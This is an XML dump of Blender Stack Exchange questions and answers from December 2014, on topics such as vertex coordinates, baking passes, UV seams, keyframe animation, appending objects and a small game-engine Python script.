  <row Id="21156" PostTypeId="1" AcceptedAnswerId="21182" CreationDate="2014-12-20T05:50:00.487" Score="3" ViewCount="681" Body="&lt;p&gt;I am having a problem with a vertex that I move to 0 along the x axis, but it is not appearing to be on the axis like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the screenshot below. I am in top view, and the selected vertex is clearly set to 0 in the in the transform tab. However, it appears at all angles to be to the left of the grid floor which it should be on top of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fPuo5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fPuo5.png&quot; alt=&quot;Blender Axis Image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9575" LastEditorUserId="2217" LastEditDate="2014-12-20T22:37:15.777" LastActivityDate="2014-12-20T22:37:15.777" Title="Grid Floor Axis Not Aligned With Zero?" Tags="&lt;transforms&gt;&lt;vertices&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21157" PostTypeId="1" CreationDate="2014-12-20T05:59:52.487" Score="0" ViewCount="1041" Body="&lt;p&gt;I am trying to combine the &lt;em&gt;Diffuse Indirect&lt;/em&gt;, &lt;em&gt;Diffuse Direct&lt;/em&gt;, and &lt;em&gt;Diffuse Color&lt;/em&gt; passes after baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Diffuse Indirect&lt;/em&gt;, and &lt;em&gt;Diffuse Direct&lt;/em&gt; are fine When using the &lt;em&gt;add&lt;/em&gt; shader, but I can't get the It to output the Color using the node setup below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s5aGy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s5aGy.png&quot; alt=&quot;Diffuse setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9586" LastEditorUserId="2217" LastEditDate="2014-12-22T18:18:01.213" LastActivityDate="2014-12-22T18:18:01.213" Title="Node setup for combining baked Diffuse Indirect, Direct, and Color passes" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21158" PostTypeId="2" ParentId="21151" CreationDate="2014-12-20T06:15:54.730" Score="1" Body="&lt;p&gt;It is playing the animation that you created. I would guess that you expected it to interpret the movement you recorded a little differently though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear you want the arm to raise and then rotate a little to wave the hand. the problem is you keyframed the rotation with the arm pointing downwards, then you moved it up and rotated it and keyframed, blender then gradually rotates from the lower position to the upper position, the &quot;waving&quot; rotation is then merged into the lifting the arm movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this you need more keyframes. You want a keyframe of the arm pointing down, then a keyframe of the arm pointing up, then add keyframes for the rotations to make the wave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the arm to start rotating as it is raised then you will need a few more keyframes to define the arm raising so that it is in the right position as it raises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the f-curves for your animation. The red curve is the x-rotation for the arm going down and raising up. The green curve is for the y-rotation and the blue is the z-rotation intended for the arm rotating to give a wave, you can see that the y and z curve begin rotating as the arm raises upwards. You only want the y and z to start rotating around the time the x rotation is in it's highest position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yCNJi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-20T06:15:54.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21159" PostTypeId="2" ParentId="21155" CreationDate="2014-12-20T06:26:48.287" Score="2" Body="&lt;p&gt;The simplified way is to view the rifle from the side in the 3dview, then Press &lt;kbd&gt;U&lt;/kbd&gt; and select Project From View, then position the uv's over the rifle picture. You would then need to cleanup the top and bottom faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find any UV unwrapping/mapping tutorial will help explain this more. You can &lt;a href=&quot;https://www.youtube.com/results?search_query=blender%20uv%20unwrapping%20tutorial&quot; rel=&quot;nofollow&quot;&gt;find plenty on youtube&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-20T06:26:48.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21160" PostTypeId="2" ParentId="21080" CreationDate="2014-12-20T07:41:38.220" Score="1" Body="&lt;p&gt;The problem was that there were zero diffuse reflection bounces. This value can be set in the Light Paths settings.&lt;/p&gt;&#xA;" OwnerUserId="8120" LastEditorUserId="599" LastEditDate="2014-12-20T08:06:24.180" LastActivityDate="2014-12-20T08:06:24.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21161" PostTypeId="2" ParentId="21154" CreationDate="2014-12-20T07:50:37.570" Score="7" Body="&lt;p&gt;You appear to have a per-renderlayer sample override limit set in &lt;em&gt;Properties &gt; Render layers &gt; Layer&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dchme.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this, either set the sample override to 0 in the appropriate renderlayers, or tell blender to ignore per-renderlayer sample overrides in &lt;em&gt;Properties &gt; Render settings &gt; Sampling&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vxlEd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that you have &lt;a href=&quot;https://blender.stackexchange.com/q/6135/599&quot;&gt;&lt;em&gt;Square Samples&lt;/em&gt;&lt;/a&gt; enabled. This means that blender will use the number of samples you specified2. The total number of samples is displayed below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGsHC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;sub&gt;(TBH I don't really see the point of this feature..)&lt;/sub&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also 500 bounces are &lt;s&gt;almost&lt;/s&gt; never needed. Higher numbers of bounces give diminishing returns, and I doubt there will be much visual difference between 6 bounces and 100 bounces in a fairly diffuse scene such as yours.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-12-20T09:24:42.420" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21162" PostTypeId="2" ParentId="21124" CreationDate="2014-12-20T10:11:14.940" Score="3" Body="&lt;p&gt;Assuming the gauges are in an overlay scene, you'll need to establish communication with message sensors.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Send a &quot;gearUp&quot; or &quot;gearDown&quot; message to the gauge when the gear changes&lt;/li&gt;&#xA;&lt;li&gt;Put message sensors on the gauge that execute whatever action you desire&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's a quick sample - use the up and down arrow keys to send messages.&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/19279604/static/misc/gauge_example.blend&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/19279604/static/misc/gauge_example.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the gauges are in the same scene, then it's a whole lot easier.  You can shift+click multiple objects and connect gauge actuators directly to the gear controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There really isn't a good way to copy properties between scenes with logic bricks.  Here's a Python example that can be adapted to your needs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;def copyProps(cont):&#xA;    # Get a reference to the object running the script&#xA;    own = cont.owner&#xA;&#xA;    # Get a reference to the overlay scene&#xA;    overlay = bge.logic.getSceneList()[1]&#xA;&#xA;    # Find the object in the overlay scene&#xA;    other = overlay.objects['Speedometer']&#xA;&#xA;    # Copy the desired properties&#xA;    other['Text'] = own['speed']&#xA;&#xA;if __name__ == '__main__':&#xA;    cont = bge.logic.getCurrentController()&#xA;    copyProps(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8075" LastEditorUserId="8075" LastEditDate="2014-12-20T18:35:40.623" LastActivityDate="2014-12-20T18:35:40.623" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21164" PostTypeId="1" CreationDate="2014-12-20T13:18:55.593" Score="5" ViewCount="2909" Body="&lt;p&gt;Where can I read how UV Maps should look and how to know where to place the seams? Here I have a very simple model I'd like you to suggest where the seams should be placed and why. I have attached a picture of my test model and attached the Blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33445&quot; rel=&quot;noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsolC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="241" LastEditDate="2014-12-20T16:00:38.577" LastActivityDate="2015-06-11T22:11:55.830" Title="How to Place the Right Seams for UV Unwrapping" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21165" PostTypeId="2" ParentId="21164" CreationDate="2014-12-20T13:45:17.043" Score="2" Body="&lt;p&gt;You could read here for uv mapping, how and where with examples &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&lt;/a&gt;&#xA;The link will help you understand the information need on mapping types, unwrapping and marking seams.&#xA;I personally would recommend seaming near the middle.&lt;/p&gt;&#xA;" OwnerUserId="7822" LastEditorUserId="12805" LastEditDate="2015-06-11T22:11:55.830" LastActivityDate="2015-06-11T22:11:55.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21166" PostTypeId="1" CreationDate="2014-12-20T13:47:08.887" Score="0" ViewCount="2166" Body="&lt;p&gt;Is it possible to load earlier versions of a project? I generally use the same project for the same type of occasion and in an earlier save I had something that I wanted to use again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for me to load older project saves?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="2217" LastEditDate="2014-12-20T22:38:22.200" LastActivityDate="2014-12-20T22:38:22.200" Title="How to load older versions of a blend file?" Tags="&lt;workflow&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21167" PostTypeId="1" AcceptedAnswerId="21374" CreationDate="2014-12-20T13:52:08.987" Score="9" ViewCount="4979" Body="&lt;p&gt;I have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/07NuZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the hilt of a sword, and pretend that the plane is a small rope. What I want to do is achieve an effect similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fH16o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find a good way to do it. As you can see I added a curve modifier and a nurbs curve, but getting the curve to follow the shape of the hilt is basically as difficult as doing it with the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about using the shrinkwrap modifier, but I get this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pex68.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think shrinkwrap might be the thing I need, I just need to fix that problem. &lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2015-04-06T01:24:08.547" Title="Twist rope around an object" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21168" PostTypeId="2" ParentId="21166" CreationDate="2014-12-20T13:56:12.213" Score="1" Body="&lt;p&gt;By default blender will save 2 old versions whenever you save the blend file. That feature is what makes the &lt;code&gt;.blend1&lt;/code&gt; &lt;code&gt;.blend2&lt;/code&gt; flies. Read the bottom of gandalf3's answer &lt;a href=&quot;https://blender.stackexchange.com/a/14103/2217&quot;&gt;here&lt;/a&gt;, for more info on the persistent save feature. The &lt;code&gt;.blend1&lt;/code&gt; will be in the same folder as the blend file it is a backup of.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you do not have a backup blend, there is now way in blender to get back to a edit that has been saved over.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-12-20T13:56:12.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21169" PostTypeId="1" AcceptedAnswerId="21179" CreationDate="2014-12-20T13:56:40.153" Score="4" ViewCount="204" Body="&lt;p&gt;I used to have problem with connecting two objects, because when I smooth the final object, there was a darker line on the connected parts (for example when I was making head, I've had eyes darker this way). Then I found out that I can get rid of it by hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;, but I don't realy know what it does. I can just see that the lines are gone. So, what does &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; do?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="241" LastEditDate="2014-12-20T14:46:11.920" LastActivityDate="2014-12-20T14:53:52.003" Title="How do I find out what tool a shortcut is triggering?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21170" PostTypeId="1" AcceptedAnswerId="21171" CreationDate="2014-12-20T14:02:50.433" Score="22" ViewCount="135162" Body="&lt;p&gt;When I click open, I get to I wanted to open, but I lose everything else. How can I open two files into one?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="2217" LastEditDate="2014-12-20T22:39:52.043" LastActivityDate="2019-08-30T12:05:11.243" Title="How to get objects from different files into one file?" Tags="&lt;objects&gt;&lt;import&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="7" ClosedDate="2014-12-20T16:43:31.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="21171" PostTypeId="2" ParentId="21170" CreationDate="2014-12-20T14:11:59.603" Score="37" Body="&lt;p&gt;There are several ways to import other blender objects in to a blender file.&lt;/p&gt;&#xA;&lt;h3&gt;Copy paste&lt;/h3&gt;&#xA;&lt;p&gt;The simplest way is to have both blend files open, and simply copy the object from one file and paste it into the other.&lt;/p&gt;&#xA;&lt;p&gt;Select the object in the 3D view, then with the mouse still in the 3D view press &lt;kbd&gt;Crtl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to copy. To paste the object in to the other file press&lt;kbd&gt;Crtl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Append&lt;/h3&gt;&#xA;&lt;p&gt;For the second method you only need the file that you want both objects inside to be open (prior to 2.8 you have to be in object mode), and then &lt;a href=&quot;https://docs.blender.org/manual/en/latest/files/linked_libraries.html&quot; rel=&quot;noreferrer&quot;&gt;Append&lt;/a&gt; the object you want.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;File &amp;gt; Append (prior to 2.8 &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt; opened the append window too)&lt;/li&gt;&#xA;&lt;li&gt;Select the blend file that has the object you want&lt;/li&gt;&#xA;&lt;li&gt;After opening the blend file go to the &lt;em&gt;Objects&lt;/em&gt; and select the object you want by its name.&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;em&gt;Link/Append from Library&lt;/em&gt; button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-08-30T12:05:11.243" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21172" PostTypeId="2" ParentId="21157" CreationDate="2014-12-20T14:19:04.680" Score="2" Body="&lt;p&gt;There is problem with you nodes. You have a color mix node after the BSDF Shader nodes. That does not work.&lt;br&gt;&#xA;Using the same type of setup with three images for Indirect, Direct, and Color this is how the nodes should look. Notice the indirect and direct are added together. Then the color is mixed in with another color mix node set to &lt;em&gt;value&lt;/em&gt; with the &lt;em&gt;Fac&lt;/em&gt; set to &lt;code&gt;.5&lt;/code&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qEC1v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qEC1v.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All color operations happen before the Shader nodes. After the first shader node only other shader nodes can be used.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-20T14:31:07.560" LastActivityDate="2014-12-20T14:31:07.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21173" PostTypeId="2" ParentId="21169" CreationDate="2014-12-20T14:20:05.540" Score="1" Body="&lt;p&gt;In Edit mode, which I'm assuming from the information that you are referring to, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; recalculates the &lt;a href=&quot;http://en.wikipedia.org/wiki/Normal_%28geometry%29&quot; rel=&quot;nofollow&quot; title=&quot;normals&quot;&gt;normals&lt;/a&gt; of the object to try to make them consistent. The direction of the normals tells Blender what is the inside and what is the outside of an object.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2014-12-20T14:20:05.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21174" PostTypeId="1" AcceptedAnswerId="21195" CreationDate="2014-12-20T14:23:39.307" Score="2" ViewCount="943" Body="&lt;p&gt;I need create simple cartoon like animation. I need import a svg image, and bend it. No movement only bending. For example a Christmas tree that bends in the wind.&lt;/p&gt;&#xA;" OwnerUserId="9589" LastEditorUserId="2217" LastEditDate="2014-12-20T22:44:18.567" LastActivityDate="2014-12-21T18:50:30.457" Title="How to warp flat svg image" Tags="&lt;animation&gt;&lt;image&gt;&lt;import&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21175" PostTypeId="1" CreationDate="2014-12-20T14:26:17.370" Score="12" ViewCount="31439" Body="&lt;p&gt;I want to make a wall with a image repeating across it like wallpaper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried it in the node editor but the image is taking up the entire plane. I just want it to be small and for the image to repeat across the entire plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="2217" LastEditDate="2014-12-20T21:24:27.970" LastActivityDate="2016-07-08T23:49:46.733" Title="How to Make a image repeat in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21176" PostTypeId="2" ParentId="21151" CreationDate="2014-12-20T14:38:13.027" Score="1" Body="&lt;p&gt;I talked with the rigger and apparently it was the rotation order. It was set to XYZ Euler. Setting it to Quaternion (WXYZ) solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2014-12-20T14:38:13.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21177" PostTypeId="2" ParentId="21164" CreationDate="2014-12-20T14:41:07.953" Score="5" Body="&lt;p&gt;In my opinion you should try to place the seams in that way, so the &lt;em&gt;UV islands&lt;/em&gt; in &lt;em&gt;UV/Image Editor&lt;/em&gt; are even distributed and have a proper scale that reflects the scale of the model's elements. It is often the matter of experimenting. You should think of it as it was a real model. Try to imagine how you may cut it open with scissors and spread on a flat surface. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/uNFh4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example below shows how the different unwrap of the same object results in less uniform Uv islands distribution, which is less beneficial.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QArY0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend with the seams placed: &lt;a href=&quot;http://www.pasteall.org/blend/33446&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33446&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2014-12-20T16:07:05.883" LastActivityDate="2014-12-20T16:07:05.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21178" PostTypeId="2" ParentId="21175" CreationDate="2014-12-20T14:41:37.580" Score="19" Body="&lt;p&gt;All you need to do to get an image to repeat in a Cycles material is add a &lt;em&gt;Vector &gt; Mapping&lt;/em&gt; node between the &lt;em&gt;Texture Coordinates&lt;/em&gt; and &lt;em&gt;Image Texture&lt;/em&gt;.  Set the &lt;em&gt;Mapping&lt;/em&gt; node to &lt;em&gt;Texture&lt;/em&gt; at the top and set any of the &lt;em&gt;Scale:&lt;/em&gt; values to less than one to make the image repeat along a certain (or multiple) axis(axes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ojKMQ.png&quot; alt=&quot;Mapping node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option, without adding any other nodes, is to simply scale up the UVmap in the &lt;em&gt;UV/Image Editor&lt;/em&gt;. A UV map larger then the image will make the image repeat.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="20508" LastEditDate="2016-07-08T23:49:46.733" LastActivityDate="2016-07-08T23:49:46.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21179" PostTypeId="2" ParentId="21169" CreationDate="2014-12-20T14:43:52.110" Score="5" Body="&lt;p&gt;In future, to find out what tool is being triggered by a shortcut, you can search in the 'Input' section of the 'User Preferences'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to &lt;em&gt;File&gt; User Preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;)&gt; Input&lt;/em&gt;, you can use the search field to search for tools assigned to shortcuts. The 'Filter Method' drop down box must also be set to 'Key-binding' for this to work: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q4Qxc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will yield a list of all tools in blender using that shortcut. For example, &quot;ctrl n&quot; would result in showing that that shortcut will 'Make Normals Consistent' for meshes in edit mode. 'Make Normals Consistent' will make sure all faces of the mesh are facing the right way and shaded correctly see: &lt;a href=&quot;https://blender.stackexchange.com/questions/6478/render-has-strange-artifacts&quot;&gt;Render has strange artifacts&lt;/a&gt;. It also lists other commands that use the same shortcut such as 'Reload Start-up File':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gVfK0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also look in the bottom of the toolbar (&lt;kbd&gt;T&lt;/kbd&gt;) in the 3D view immediately after using the shortcut to see what was triggered:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u3WS6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-12-20T14:53:52.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21180" PostTypeId="2" ParentId="21174" CreationDate="2014-12-20T14:58:31.423" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/8532/2217&quot;&gt;Add your image&lt;/a&gt; in to blender using the &lt;strong&gt;Add Image as Plane&lt;/strong&gt; addon.  &lt;/li&gt;&#xA;&lt;li&gt;Add loop cuts to the image where you want it to bend. Read &lt;a href=&quot;https://blender.stackexchange.com/q/17888/2217&quot;&gt;this question&lt;/a&gt; to see how to do so without stretching the texture.&lt;/li&gt;&#xA;&lt;li&gt;Enable the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/AnimAll&quot; rel=&quot;nofollow noreferrer&quot;&gt;Anim All&lt;/a&gt; addon &lt;/li&gt;&#xA;&lt;li&gt;Using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Proportional_Edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;proportional editing&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Actions&quot; rel=&quot;nofollow noreferrer&quot;&gt;keyframes&lt;/a&gt; bend your image the way you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/user/Blender2DCom/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; youtube channel has several videos about animation 2D drawings.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-12-21T18:50:30.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21181" PostTypeId="1" CreationDate="2014-12-20T15:08:30.753" Score="0" ViewCount="285" Body="&lt;p&gt;How do I bend this arm (block) so it curves into the torso? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Cycles and I'm not that good with NURBS curves and all that. Is there an easier way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s6YW1.png&quot; alt=&quot;Screenshot of arm block in object mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mjipc.png&quot; alt=&quot;Screenshot of arm block in edit mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="1253" LastEditDate="2014-12-20T22:12:17.860" LastActivityDate="2014-12-20T22:12:17.860" Title="How to bend blocky arm into torso?" Tags="&lt;rigging&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21182" PostTypeId="2" ParentId="21156" CreationDate="2014-12-20T15:11:16.597" Score="6" Body="&lt;p&gt;You have the &lt;em&gt;Local&lt;/em&gt; button selected, which means it starts the coordinate system at the object origin, not the world center. &#xA;Set it to &lt;em&gt;Global&lt;/em&gt; and it will work like you want, where 0 is at the grid floor.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/W8GVn.png&quot; alt=&quot;transform&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-12-20T15:11:16.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21185" PostTypeId="1" AcceptedAnswerId="21187" CreationDate="2014-12-20T17:07:11.767" Score="1" ViewCount="1401" Body="&lt;p&gt;I have recently begun to make a racing game, but I need the camera to follow car like in other games - currently, when I steer my car the camera immediately follows it and I can see only the back of car, but I want it so that while you steer, you can see side of car too, like here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3S1q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create something like this?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="5705" LastEditDate="2014-12-20T18:56:32.110" LastActivityDate="2014-12-20T21:51:06.107" Title="How to make nice race game camera?" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
